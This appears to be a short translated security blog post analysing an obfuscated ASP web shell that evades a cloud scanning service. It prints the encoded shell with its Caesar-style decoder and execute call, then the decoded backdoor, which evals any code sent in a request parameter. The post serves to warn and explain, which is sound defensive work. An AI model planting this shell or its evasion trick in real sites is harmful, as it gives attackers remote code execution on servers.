Decrypts a sentence trojan that is encrypted and protected by the cloud detection and removal system.

The trojan code is simply encrypted! It is easy to unlock and see a piece of encrypted code.
Copy content from ASP/Visual Basic Code to clipboard

1.           <%

2.           codeds=”Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li”

3.           execute (decode (codeds) )

4.           Function DeCode (Coded)

5.               On Error Resume Next

6.               For i = 1 To Len (Coded)

7.                   Curchar = Mid (Coded, i, 1)

8.                   If Asc (Curchar) = 16 then

9.                       Curchar = chr (8)

10.       Elseif Asc (Curchar) = 24 then

11.                   Curchar = chr (12)

12.       Elseif Asc (Curchar) = 32 then

13.                   Curchar = chr (18)

14.               Else

15.                   Curchar = chr (Asc (Curchar) -3)

16.               End if

17.               DeCode = Decode&Curchar

18.           Next

19.       End Function

20.       response.write(decode(codeds))

21.       %> www.2cto.com

Simple encryption.
Copy content from ASP/Visual Basic Code to clipboard

1.           <%

2.           If request(“xx”) =”x” then eval request(“hkmjj”) end if

3.           %>

After tests, we found that the current cloud guard detection and removal system seems to be used by many people and should be vigilant.